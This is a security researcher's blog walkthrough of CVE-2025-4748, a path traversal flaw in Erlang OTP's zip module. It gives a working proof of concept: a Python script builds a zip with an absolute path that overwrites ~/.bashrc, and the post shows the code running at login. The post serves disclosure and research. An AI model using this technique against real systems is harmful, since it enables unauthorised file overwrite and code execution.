Exploiting Erlang OTP with Zip files: CVE-2025-4748

Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’) vulnerability in Erlang OTP (stdlib modules) allows Absolute Path Traversal, File Manipulation
CVE-2025-4748
poc
Author

remy

Published

June 17, 2025

There’s a new Erlang OTP vulnerability, CVE-2025-4748. It’s an Absolute Path Traversal vulnerability involving a Zip archive, which I have a lot of practice with. It affects Erlang OTP, which a coworker has already written about recently and noted the necessary steps to set up an environment.

This is a “local” vulnerability (unless you’re unpacking a Zip archive as part of a network call), but is still fun to play with. Here’s how to reproduce:

Setup

Similarly to the prior work of my coworker, set up an Ubuntu Jammy virtual machine and install erlang.

wget https://binaries2.erlang-solutions.com/ubuntu/pool/contrib/e/esl-erlang/esl-erlang_25.3.2-1~ubuntu~jammy_amd64.deb
sudo dpkg -i esl-erlang_25.3.2-1\~ubuntu\~jammy_amd64.deb
sudo apt --fix-broken install

Valid Test Case

Create a valid zip file to check the expected behavior.

touch emptyfile
zip valid.zip emptyfile

In the Erlang shell unzip the valid.zip to a destination directory of /tmp/

~$ erl
Erlang/OTP 25 [erts-13.2.2] [source] [64-bit] [smp:4:4] [ds:4:4:10] [async-threads:1] [jit:ns]

Eshell V13.2.2  (abort with ^G)
1> {ok, FileList} = zip:unzip("valid.zip", [{cwd, "/tmp/"}]).
{ok,["/tmp/emptyfile"]}

And we see that as expected, emptyfile was written to the destination directory as /tmp/emptyfile

PoC

From the CVE notes:

When the zip module is used to extract files to disk and the archive is maliciously corrupted by including absolute file paths, the zip module would extract them as absolute paths instead of stripping the leading /, drive or device letter.

So this should be pretty easy, we’ll use python script to create a Zip archive with an absolute path of /home/remy/.bashrc and insert some code to demonstrate how we can leverage this vulnerability to overwrite a file leading to remote code execution, by printing Code exec via CVE-2025-4748.

import io
import zipfile

buf = io.BytesIO()
zf = zipfile.ZipFile(buf, "w")
zf.writestr("/home/remy/.bashrc", "echo 'Code exec via CVE-2025-4748'\n")
zf.close()

with open("poc.zip", "wb") as f:
        f.write(buf.getvalue())

Again, we’ll use the erlang shell to decompress our poc.zip to a destination directory of /tmp/, but the vulnerability should instead clobber /home/remy/.bashrc.

~$ erl
Erlang/OTP 25 [erts-13.2.2] [source] [64-bit] [smp:4:4] [ds:4:4:10] [async-threads:1] [jit:ns]

Eshell V13.2.2  (abort with ^G)
1> {ok, FileList} = zip:unzip("poc.zip", [{cwd, "/tmp/"}]).
{ok,["/home/remy/.bashrc"]}

And yup, that worked.

So next time the user remy logs in, the inserted code will execute with their ~/.bashrc is read.

Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-141-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
New release '24.04.2 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Tue Jun 17 15:28:17 2025 from 192.168.8.245
Code exec via CVE-2025-4748
remy@erlang:~$